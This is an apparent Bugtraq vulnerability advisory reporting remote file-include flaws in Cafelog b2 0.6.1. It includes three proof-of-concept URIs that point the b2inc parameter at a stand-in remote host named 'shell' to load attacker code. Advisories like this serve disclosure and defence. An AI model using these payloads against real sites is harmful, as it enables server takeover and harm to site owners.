Cafelog B2 Multiple Remote File Include Vulnerabilities

Bugtraq ID:	23659
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 25 2007 12:00AM
Updated:	Apr 26 2007 12:50AM
Credit:	<[email protected]> is credited with the discovery of these vulnerabilities.
Vulnerable:	Cafelog b2 0.6.1
Not Vulnerable:

Cafelog B2 Multiple Remote File Include Vulnerabilities

B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect B2 0.6.1; other versions may also be vulnerable.

Cafelog B2 Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit this issue.

The following proof-of-concept URIs are available:

http://www.example.com/b2archives.php?b2inc=http://shell
http://www.example.com/b2categories.php?b2inc=http://shell
http://www.example.com/b2mail.php?b2inc=http://shell

Cafelog B2 Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Cafelog B2 Multiple Remote File Include Vulnerabilities

References:

• b2 Product Page (Cafelog)
  
• B2 Weblog and News Publishing Tool v0.6.1 >> RFI ([email protected])